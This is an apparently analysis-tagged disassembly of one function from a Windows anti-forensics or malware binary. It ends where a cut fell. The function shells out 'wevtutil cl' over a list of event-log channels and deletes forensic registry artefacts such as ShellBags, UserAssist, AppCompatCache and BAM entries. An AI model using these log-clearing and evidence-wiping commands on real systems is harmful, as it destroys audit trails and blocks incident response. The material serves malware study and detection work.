Function at 0x140003500
Capabilities:
Clear windows event logs
Execute command
Get session user name
Persist via windows service
Self delete
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r13
push r14
lea rbp, [rsp - 0x2e0]
sub rsp, 0x3e0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x2d0], rax
xor r13d, r13d
call fcn.1400033b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
mov qword [rbp + 0x240], r13
mov qword [rbp + 0x248], 0xf
mov byte [rbp + 0x230], r13b
mov dword [rbp + 0x210], 0x80
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x250]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea rax, [rbp + 0x250]
mov r14, 0xffffffffffffffff
mov rdi, r14
nop
inc rdi
cmp byte [rax + rdi], 0
jne 0x140003590
mov rax, qword [rbp + 0x248]
cmp rdi, rax
ja 0x1400035d7
lea rbx, [rbp + 0x230]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x230]
mov qword [rbp + 0x240], rdi
mov r8, rdi
lea rdx, [rbp + 0x250]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x1400035ed
lea r9, [rbp + 0x250]
mov rdx, rdi
lea rcx, [rbp + 0x230]
call fcn.1400084b0
lea rbx, [rbp + 0x230]
cmp qword [rbp + 0x248], 0xf
cmova rbx, qword [rbp + 0x230]
mov rdi, qword [rbp + 0x240]
cmp rdi, 1
jb 0x140003662
lea rsi, [rbx + rdi]
mov r8, rdi
mov edx, 0x5c
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140003662
nop word [rax + rax]
cmp byte [rax], 0x5c
jne 0x14000363a
mov ecx, r13d
jmp 0x14000363f
sbb ecx, ecx
or ecx, 1
test ecx, ecx
je 0x140003dfc
inc rax
mov r8, rsi
sub r8, rax
mov edx, 0x5c
mov rcx, rax
call sub.VCRUNTIME140.dll_memchr
test rax, rax
jne 0x140003630
mov rax, r14
lea rcx, [rax + 1]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
mov qword [rbp + 0x200], r13
mov qword [rbp + 0x208], r13
cmp rdi, rcx
jb 0x1400049d9
sub rdi, rcx
cmp rdi, r14
cmovb r14, rdi
lea rdx, [rbp + 0x230]
cmp qword [rbp + 0x248], 0xf
cmova rdx, qword [rbp + 0x230]
add rdx, rcx
mov r8, r14
lea rcx, [rbp + 0x1f0]
call fcn.140007c40
nop
lea rcx, str.CHCP_866
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.COLOR_A
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14000b800]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x218], xmm0
mov qword [rbp + 0x228], rax
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x80], xmm1
lea r8d, [rax + 0xa]
lea rdx, str.AMSI_Debug
lea rcx, [rsp + 0x70]
call fcn.140007c40
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x60], xmm1
mov r8d, 0xf
lea rdx, str.AirSpaceChannel
lea rcx, [rbp - 0x70]
call fcn.140007c40
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x40], xmm1
mov r8d, 8
lea rdx, str.Analytic
lea rcx, [rbp - 0x50]
call fcn.140007c40
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x20], xmm1
mov r8d, 0xb
lea rdx, str.Application
lea rcx, [rbp - 0x30]
call fcn.140007c40
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp], xmm1
mov r8d, 0x15
lea rdx, str.DirectShowFilterGraph
lea rcx, [rbp - 0x10]
call fcn.140007c40
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x20], xmm1
mov r8d, 0x17
lea rdx, str.DirectShowPluginControl
lea rcx, [rbp + 0x10]
call fcn.140007c40
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x40], xmm1
mov r8d, 0x43
lea rdx, str.Microsoft_Windows_Diagnosis_ScriptedDiagnosticsProvider_Operational
lea rcx, [rbp + 0x30]
call fcn.140007c40
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x60], xmm1
mov r8d, 0x28
lea rdx, str.Microsoft_Windows_Diagnosis_WDC_Analytic
lea rcx, [rbp + 0x50]
call fcn.140007c40
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x80], xmm1
mov r8d, 0x1b
lea rdx, str.WINDOWS_MSMPEG2VDEC_CHANNEL
lea rcx, [rbp + 0x70]
call fcn.140007c40
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xa0], xmm1
mov r8d, 0x16
lea rdx, str.WINDOWS_VC1ENC_CHANNEL
lea rcx, [rbp + 0x90]
call fcn.140007c40
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xc0], xmm1
mov r8d, 0x17
lea rdx, str.WINDOWS_WMPHOTO_CHANNEL
lea rcx, [rbp + 0xb0]
call fcn.140007c40
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xe0], xmm1
mov r8d, 0x18
lea rdx, str.WINDOWS_wmvdecod_CHANNEL
lea rcx, [rbp + 0xd0]
call fcn.140007c40
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x100], xmm1
mov r8d, 8
lea rdx, str.WMPSetup
lea rcx, [rbp + 0xf0]
call fcn.140007c40
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x120], xmm1
mov r8d, 0xd
lea rdx, str.WMPSyncEngine
lea rcx, [rbp + 0x110]
call fcn.140007c40
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x140], xmm1
mov r8d, 0x32
lea rdx, str.Windows_Networking_Vpn_Plugin_Platform_Operational
lea rcx, [rbp + 0x130]
call fcn.140007c40
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x160], xmm1
mov r8d, 0x39
lea rdx, str.Windows_Networking_Vpn_Plugin_Platform_OperationalVerbose
lea rcx, [rbp + 0x150]
call fcn.140007c40
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x180], xmm1
mov r8d, 0x12
lea rdx, str.Windows_PowerShell
lea rcx, [rbp + 0x170]
call fcn.140007c40
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1a0], xmm1
mov r8d, 0xb
lea rdx, str.WordChannel
lea rcx, [rbp + 0x190]
call fcn.140007c40
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1c0], xmm1
mov r8d, 9
lea rdx, str.muxencode
lea rcx, [rbp + 0x1b0]
call fcn.140007c40
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x218], xmm0
mov qword [rbp + 0x228], r13
mov ecx, 0x260
call fcn.1400090e0
mov rbx, rax
mov qword [rbp + 0x218], rax
mov qword [rbp + 0x220], rax
lea rcx, [rax + 0x260]
mov qword [rbp + 0x228], rcx
lea rax, [rbp + 0x218]
mov qword [rsp + 0x60], rax
lea rdi, [rsp + 0x70]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1d0], rbx
mov qword [rbp + 0x1d8], rbx
lea rax, [rbp + 0x218]
mov qword [rbp + 0x1e0], rax
nop word [rax + rax]
mov rdx, rdi
mov rcx, rbx
call fcn.140006670
add rbx, 0x20
mov qword [rbp + 0x1d8], rbx
add rdi, 0x20
lea rax, [rbp + 0x1d0]
cmp rdi, rax
jne 0x140003aa0
mov rdx, rbx
mov rcx, rbx
call fcn.140007d40
mov qword [rbp + 0x220], rbx
lea r9, [fcn.1400065d0]
mov edx, 0x20
lea r8d, [rdx - 0xd]
lea rcx, [rsp + 0x70]
call fcn.14000911c
mov rbx, qword [rbp + 0x218]
mov rsi, qword [rbp + 0x220]
movabs rdi, 0x7fffffffffffffff
cmp rbx, rsi
je 0x140003bd2
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [rbx + 0x10]
mov rax, rdi
sub rax, rcx
cmp rax, 0x10
jb 0x1400049e5
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140003b41
mov rax, qword [rbx]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x10
lea r9, str.wevtutil.exe_cl
lea rcx, [rbp + 0x1d0]
call fcn.140008800
lea rcx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 0xf
cmova rcx, qword [rbp + 0x1d0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x140003bc5
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003bc0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003e04
call fcn.1400091ec
add rbx, 0x20
cmp rbx, rsi
jne 0x140003b20
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareClassesLocal_SettingsSoftwareMicrosoftWindowsShellMuiCache___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareClassesLocal_SettingsSoftwareMicrosoftWindowsShellBagMRU___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareClassesLocal_SettingsSoftwareMicrosoftWindowsShellBags___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellBagMRU___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellBags___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.for__f__tokens______A_in__reg_query_HKEY_USERS__findstr__c:_S___1___5___21______findstr__c:____1001___findstr__v__c:__Classes___do_set__folder____A_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE___folder_SoftwareMicrosoftWindowsCurrentVersionExplorerFeatureUsageShowJumpView___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_USERS_folder_SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantStore___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantStore___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32FirstFolder___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32LastVisitedPidlMRU___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWAREMicrosoftTracing___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32LastVisitedPidlMRULegacy___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRU___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRU_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession_ManagerAppCompatCache___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001ControlSession_ManagerAppCompatCache___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWAREMicrosoftRADARHeapLeakDetectionDiagnosedApplications___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftRADARHeapLeakDetectionDiagnosedApplications_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.for__F__tokens2___i_IN__whoami__user__fo_table__nh__DO_SET_usersid_i
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, rdi
mov rcx, qword [rbp + 0x200]
sub rax, rcx
cmp rax, 0x17
jb 0x1400049df
lea rax, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 0xf
cmova rax, qword [rbp + 0x1f0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x17
lea r9, str.REG_DELETE__HKEY_USERS_
lea rcx, [rsp + 0x40]
call fcn.140008800
nop
mov r8d, 0x40
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionSearchRecentApps___f
lea rcx, [rsp + 0x40]
call fcn.140006790
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1e0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1e0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 0xf
cmova rcx, qword [rbp + 0x1d0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x140003e10
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e0b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003e0b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
sub rax, rbx
jmp 0x140003665
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400091ec
movdqa xmm0, xmmword [0x14000cf30]
movdqu xmmword [rbp + 0x1e0], xmm0
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140003e67
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e62
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003e62
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400091ec
mov rax, rdi
mov rcx, qword [rbp + 0x200]
sub rax, rcx
cmp rax, 0x14
jb 0x1400049eb
lea rax, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 0xf
cmova rax, qword [rbp + 0x1f0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x14
lea r9, str.REG_ADD__HKEY_USERS_
lea rcx, [rsp + 0x40]
call fcn.140008800
nop
mov r8d, 0x3d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionSearchRecentApps_
lea rcx, [rsp + 0x40]
call fcn.140006790
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1e0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1e0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 0xf
cmova rcx, qword [rbp + 0x1d0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x140003f6b
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003f66
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003f66
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400091ec
movdqa xmm0, xmmword [0x14000cf30]
movdqu xmmword [rbp + 0x1e0], xmm0
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140003fc2
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003fbd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003fbd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400091ec
mov rax, rdi
mov rcx, qword [rbp + 0x200]
sub rax, rcx
cmp rax, 0x52
jb 0x1400049f1
lea rax, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 0xf
cmova rax, qword [rbp + 0x1f0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x52
lea r9, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices_bamUserSettings_
lea rcx, [rsp + 0x40]
call fcn.140008800
nop
mov r8d, 8
lea rdx, str.___va__f
lea rcx, [rsp + 0x40]
call fcn.140006790
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1e0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1e0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 0xf
cmova rcx, qword [rbp + 0x1d0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x1400040c6
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400040c1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400040c1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400091ec
movdqa xmm0, xmmword [0x14000cf30]
movdqu xmmword [rbp + 0x1e0], xmm0
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x14000411d
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004118
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004118
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400091ec
mov rax, rdi
mov rcx, qword [rbp + 0x200]
sub rax, rcx
cmp rax, 0x4e
jb 0x1400049f7
lea rax, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 0xf
cmova rax, qword [rbp + 0x1f0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x4e
lea r9, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamUserSettings_
lea rcx, [rsp + 0x40]
call fcn.140008800
nop
mov r8d, 8
lea rdx, str.___va__f
lea rcx, [rsp + 0x40]
call fcn.140006790
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1e0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1e0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 0xf
cmova rcx, qword [rbp + 0x1d0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x140004221
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000421c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000421c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400091ec
movdqa xmm0, xmmword [0x14000cf30]
movdqu xmmword [rbp + 0x1e0], xmm0
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140004278
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004273
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004273
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400091ec
mov rax, rdi
mov rcx, qword [rbp + 0x200]
sub rax, rcx
cmp rax, 0x17
jb 0x1400049fd
lea rax, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 0xf
cmova rax, qword [rbp + 0x1f0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x17
lea r9, str.REG_DELETE__HKEY_USERS_
lea rcx, [rsp + 0x40]
call fcn.140008800
nop
mov r8d, 0x62
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantStore___va__f
lea rcx, [rsp + 0x40]
call fcn.140006790
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1e0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1e0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 0xf
cmova rcx, qword [rbp + 0x1d0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x14000437c
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004377
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004377
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400091ec
movdqa xmm0, xmmword [0x14000cf30]
movdqu xmmword [rbp + 0x1e0], xmm0
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400043d3
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400043ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400043ce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400091ec
mov rax, rdi
mov rcx, qword [rbp + 0x200]
sub rax, rcx
cmp rax, 0x17
jb 0x140004a03
lea rax, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 0xf
cmova rax, qword [rbp + 0x1f0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x17
lea r9, str.REG_DELETE__HKEY_USERS_
lea rcx, [rsp + 0x40]
call fcn.140008800
nop
mov r8d, 0x4b
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayers___va__f
lea rcx, [rsp + 0x40]
call fcn.140006790
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1e0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1e0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 0xf
cmova rcx, qword [rbp + 0x1d0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x1400044d7
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400044d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400044d2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400091ec
movdqa xmm0, xmmword [0x14000cf30]
movdqu xmmword [rbp + 0x1e0], xmm0
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x14000452e
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004529
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004529
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400091ec
mov rax, rdi
mov rcx, qword [rbp + 0x200]
sub rax, rcx
cmp rax, 0x17
jb 0x140004a09
lea rax, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 0xf
cmova rax, qword [rbp + 0x1f0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x17
lea r9, str.REG_DELETE__HKEY_USERS_
lea rcx, [rsp + 0x40]
call fcn.140008800
nop
mov r8d, 0x44
